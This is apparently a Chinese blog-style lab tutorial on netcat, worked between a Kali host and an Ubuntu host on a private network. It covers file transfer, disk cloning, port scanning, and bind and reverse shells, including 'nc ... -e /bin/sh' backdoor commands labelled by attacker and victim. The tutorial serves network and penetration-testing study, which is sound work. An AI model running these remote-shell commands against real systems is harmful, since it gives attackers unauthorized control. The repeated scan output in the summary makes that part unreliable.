Netcat使用学习
一、Netcat简介
**netcat **是网络工具中的瑞士军刀，它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向，你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。
netcat 所做的就是在两台电脑之间建立链接并返回两个数据流，在这之后所能做的事就看你的想像力了。你能建立一个服务器，传输文件，与朋友聊天，传输流媒体或者用它作为其它协议的独立客户端。
二、Netcat常用参数：
OpenBSD netcat (Debian patchlevel 1.218-4ubuntu1)
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl][-m minttl] [-O length] [-P proxy_username] [-p source_port][-q seconds] [-s sourceaddr] [-T keyword] [-V rtable] [-W recvlimit][-w timeout] [-X proxy_protocol] [-x proxy_address[:port]][destination] [port]Command Summary:-4 Use IPv4-6 Use IPv6-b Allow broadcast-C Send CRLF as line-ending-D Enable the debug socket option-d Detach from stdin-F Pass socket fd-h This help text-I length TCP receive buffer length-i interval Delay interval for lines sent, ports scanned-k Keep inbound sockets open for multiple connects-l Listen mode, for inbound connects-M ttl Outgoing TTL / Hop Limit-m minttl Minimum incoming TTL / Hop Limit-N Shutdown the network socket after EOF on stdin-n Suppress name/port resolutions-O length TCP send buffer length-P proxyuser Username for proxy authentication-p port Specify local port for remote connects-q secs quit after EOF on stdin and delay of secs-r Randomize remote ports-S Enable the TCP MD5 signature option-s sourceaddr Local source address-T keyword TOS value-t Answer TELNET negotiation-U Use UNIX domain socket-u UDP mode-V rtable Specify alternate routing table-v Verbose-W recvlimit Terminate after receiving a number of packets-w timeout Timeout for connects and final net reads-X proto Proxy protocol: "4", "5" (SOCKS) or "connect"-x addr[:port] Specify proxy address and port-Z DCCP mode-z Zero-I/O mode [used for scanning]Port numbers can be individual or ranges: lo-hi [inclusive]
三、实验内容
实验设备：
服务端：Kali-linux-2022
192.168.3.21
客户端：Ubuntu 22.04.1 LTS
192.168.3.22
1.传输文本信息
nc 可以在两台机器之间相互传递信息，首先需要有一台机器进行监听一个端口，另一台以连接的方式去连接其指定的端口，这样两台机器之间建立了通信后，相互之间可以传输信息。l 参数是监听模式的意思，p 是指定一个端口
服务端
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lp 1234
hello?
hi?
客户端
root@ubuntu-virtual-machine:/# nc -nv 192.168.3.21 1234
Connection to 192.168.3.21 1234 port [tcp/*] succeeded!
hello?
hi?
这种相互传输信息和渗透之间的关系是，电子取证的时候可以用。当机器被攻击后，为了不破坏现场，需要提出大量的信息和文件出来做分析，这时候可以用 nc 的这个机制，例如，需要一个命令的输出信息，首先在一台机器上监听一个端口，随后在被攻击的机器上执行相关的命令，然后以管道给 nc，指定另一台的地址和端口，这样输出结果就会到另一端
2.进行文件传输
文件传输->下载
服务端在/home/kali/下创建log.txt用于记录文件
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lp 1234 > /home/kali/log.txt
客户端进行nc
root@ubuntu-virtual-machine:/home/ubuntu/桌面# nc 192.168.3.21 1234 < openme.txt
回到/home/kali/目录下，查看log.txt
┌──(kali㉿kali)-[~]
└─$ cat log.txt
If you see me, the file has been successfully downloaded!
文件传输->上传
服务端传输log.txt
┌──(kali㉿kali)-[~]
└─$ nc -lp 1234 < /home/kali/log.txt
客户端接收
root@ubuntu-virtual-machine:/home/ubuntu/桌面# nc 192.168.3.21 1234 > get.txt
root@ubuntu-virtual-machine:/home/ubuntu/桌面# cat get.txt
If you see me, the file has been successfully downloaded!
可以看到已经成功写入了客户端的get.txt文件中
以windows为服务器端，kali为客户端，上述操作相反即可，这里不给出实际应用 如果此时服务端并没有准备好连接，而客户端已经使用NC进行连接， 那么客户端就会一直等待下去，知道连接上服务端，造成一种“假死"状态。 解决方法:设置等待时间
3.传输文件目录
对于传输目录其实和传输文本信息传输文件一样，当作文件处理即可，传输时将目录进行压缩进行传输，随后另一台机器接收后进行解压，这样就完成了目录的传输。例如使用 tar 命令，cvf 进行压缩，xvf 进行解压，c 是压缩的意思，v 是显示详细过程，f 是文件名，x 是解压。
服务端
┌──(kali㉿kali)-[~/Desktop]
└─$ tar cvf - ~/Desktop/ | nc -lp 1234 -q l
tar: Removing leading `/' from member names
/home/kali/Desktop/
/home/kali/Desktop/class two/
/home/kali/Desktop/heard.txt
/home/kali/Desktop/class one/
/home/kali/Desktop/class one/first.pcapng
/home/kali/Desktop/class one/class_two.pcapng
/home/kali/Desktop/class one/class_one.pcapng
客户端
root@ubuntu-virtual-machine:/home/ubuntu/桌面# nc -nv 192.168.3.21 1234 | tar xvf -
Connection to 192.168.3.21 1234 port [tcp/*] succeeded!
home/kali/Desktop/
home/kali/Desktop/class two/
home/kali/Desktop/heard.txt
home/kali/Desktop/class one/
home/kali/Desktop/class one/first.pcapng
home/kali/Desktop/class one/class_two.pcapng
home/kali/Desktop/class one/class_one.pcapng
4.加密传输文件
加密传输文件需要使用 mcrypt 库，linux 系统默认是没有安装的，需要手动安装。随后和传输文件类似，只需要在传输文件时使用 mcrypt 加密即可。
命令用到的参数有，–flush 立即冲洗输出，-F 输出数据，-b 不保留算法信息，-q 关闭一些非严重的警告，-d 解密，首先在接收端监听一个端口，等待另一台进行连接传送文件，随后在要传送的机器上把要传送的文件进行加密使用 nc 连接指定的地址和 ip
服务端
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lp 1234 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > heard.txt
Enter passphrase:
客户端
root@ubuntu-virtual-machine:/home/ubuntu/桌面# mcrypt --flush -Fbq -a rijndael-256 -m ecb < get.txt | nc -nv 192.168.3.21 1234 -q 1
Enter the passphrase (maximum of 512 characters)
Please use a combination of upper and lower case letters and numbers.
Enter passphrase: Connection to 192.168.3.21 1234 port [tcp/*] succeeded!Enter passphrase:
5.远程克隆硬盘
对于远程克隆硬盘，在远程电子取证时可以用，使用方法需要借助 dd 命令，首先通过 nc 监听一个端口，然后通过 dd 指定要克隆的分区，dd 的 of 参数相当于一个复制功能，然后再另一台机器通过 nc 连接此端口，dd 的 if 参数相当于粘贴的命令。格式如下：
nc -lp 6666 | dd of=/dev/sda
dd if=/dev/sda | nc -nv 192.168.228.128 6666 -q 1
6.创建监听型/连接型后门
监听型后门
服务端
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ncat -l -e /bin/sh -p 4444
客户端
root@ubuntu-virtual-machine:/home/ubuntu/桌面# nc -w 10 192.168.3.21 4444
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500inet 192.168.3.21 netmask 255.255.255.0 broadcast 192.168.3.255inet6 fe80::8c1d:36a6:b6c7:9d64 prefixlen 64 scopeid 0x20<link>ether 00:0c:29:fd:52:9c txqueuelen 1000 (Ethernet)RX packets 172820 bytes 37543859 (35.8 MiB)RX errors 0 dropped 0 overruns 0 frame 0TX packets 189400 bytes 52498244 (50.0 MiB)TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536inet 127.0.0.1 netmask 255.0.0.0inet6 ::1 prefixlen 128 scopeid 0x10<host>loop txqueuelen 1000 (Local Loopback)RX packets 144 bytes 7472 (7.2 KiB)RX errors 0 dropped 0 overruns 0 frame 0TX packets 144 bytes 7472 (7.2 KiB)TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
连接型后门
服务端
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -ltvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.3.22.
Ncat: Connection from 192.168.3.22:46990.
客户端
root@ubuntu-virtual-machine:/home/ubuntu/桌面# nc 192.168.3.21 4444 -e /bin/sh
ifconfig
root@ubuntu-virtual-machine:/home/ubuntu/桌面# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500inet 192.168.3.22 netmask 255.255.255.0 broadcast 192.168.3.255inet6 fe80::13b7:c830:cef8:924e prefixlen 64 scopeid 0x20<link>ether 00:0c:29:71:25:8a txqueuelen 1000 (以太网)RX packets 272375 bytes 159129764 (159.1 MB)RX errors 0 dropped 0 overruns 0 frame 0TX packets 206658 bytes 16759835 (16.7 MB)TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536inet 127.0.0.1 netmask 255.0.0.0inet6 ::1 prefixlen 128 scopeid 0x10<host>loop txqueuelen 1000 (本地环回)RX packets 3390 bytes 440132 (440.1 KB)RX errors 0 dropped 0 overruns 0 frame 0TX packets 3390 bytes 440132 (440.1 KB)TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
7.远程控制/正反shell
正向shell
正向Shell，服务器模式下的 netcat 侦听连接并将外壳进程提供给任何连接的客户端。然后以客户端模式运行的 Netcat 可以连接到服务器并获得对服务器的 shell 访问并运行命令。从渗透测试的角度来看，服务器是受害者机器，客户端是攻击者机器。
服务端
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lp 1234 -c bash
客户端
root@ubuntu-virtual-machine:/home/ubuntu/桌面# nc 192.168.3.21 1234
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500inet 192.168.3.21 netmask 255.255.255.0 broadcast 192.168.3.255inet6 fe80::8c1d:36a6:b6c7:9d64 prefixlen 64 scopeid 0x20<link>ether 00:0c:29:fd:52:9c txqueuelen 1000 (Ethernet)RX packets 172760 bytes 37538472 (35.7 MiB)RX errors 0 dropped 0 overruns 0 frame 0TX packets 189345 bytes 52492855 (50.0 MiB)TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536inet 127.0.0.1 netmask 255.0.0.0inet6 ::1 prefixlen 128 scopeid 0x10<host>loop txqueuelen 1000 (Local Loopback)RX packets 74 bytes 3740 (3.6 KiB)RX errors 0 dropped 0 overruns 0 frame 0TX packets 74 bytes 3740 (3.6 KiB)TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
反向shell
对于反向 shell，我们在服务器模式下使用 netcat 来侦听连接，然后从客户端提供 shell。这将允许服务器上的会话在收到 shell 后在客户端上运行命令。从渗透测试的角度来看，服务器是攻击者机器，客户端是受害者机器
服务端(攻击方)
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.3.22.
Ncat: Connection from 192.168.3.22:59992.
ls
get.txt
hey.txt
home
openme.txt
ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500inet 192.168.3.22 netmask 255.255.255.0 broadcast 192.168.3.255inet6 fe80::13b7:c830:cef8:924e prefixlen 64 scopeid 0x20<link>ether 00:0c:29:71:25:8a txqueuelen 1000 (以太网)RX packets 272035 bytes 159047796 (159.0 MB)RX errors 0 dropped 0 overruns 0 frame 0TX packets 206567 bytes 16752141 (16.7 MB)TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536inet 127.0.0.1 netmask 255.0.0.0inet6 ::1 prefixlen 128 scopeid 0x10<host>loop txqueuelen 1000 (本地环回)RX packets 3388 bytes 439992 (439.9 KB)RX errors 0 dropped 0 overruns 0 frame 0TX packets 3388 bytes 439992 (439.9 KB)TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0客户端（受害方）
root@ubuntu-virtual-machine:/home/ubuntu/桌面# nc 192.168.3.21 4444 -e /bin/sh
8.端口扫描
nc 用来进行端口扫描的命令是 nc -nvz ip 地址 端口号，z 参数翻译过来就是不进行 i/o，用来扫描。意思就是仅仅是去 ping 去探测目标是否开启指定端口，不进行任何的交互。
-n 参数翻译过来就是只接收 ip 地址，没有 dns
-v 参数就是列出执行过程的详细信息
-z 参数默认扫描的是 tcp 类型，如果需要扫描 udp，则需要使用一个新参数 -u
我先在客户机开启了apache2服务
客户机查看端口状态命令netstat -ano
┌──(root㉿kali)-[/home/kali/Desktop]
└─# netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0)
udp 0 0 192.168.3.21:68 192.168.3.1:67 ESTABLISHED off (0.00/0/0)
raw6 0 0 :::58 :::* 7 off (0.00/0/0)
Active UNIX domain sockets (servers and established)
apache2服务默认使用的是80端口
nc -nvz 192.168.3.21 70-90
root@ubuntu-virtual-machine:/# nc -nvz 192.168.3.21 70-90
nc: connect to 192.168.3.21 port 70 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 71 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 72 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 73 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 74 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 75 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 76 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 77 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 78 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 79 (tcp) failed: Connection refused
Connection to 192.168.3.21 80 port [tcp/*] succeeded!
nc: connect to 192.168.3.21 port 81 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 82 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 83 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 84 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 85 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 86 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 87 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 88 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 89 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 90 (tcp) failed: Connection refused
四、总结
to 192.168.3.21 port 85 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 86 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 87 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 88 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 89 (tcp) failed: Connection refused
nc: connect to 192.168.3.21 port 90 (tcp) failed: Connection refused
### 四、总结Netcat 是用于网络相关活动的非常棒的工具，我发现它在渗透测试中非常有用，实在是一款不可多得的网络测试工具。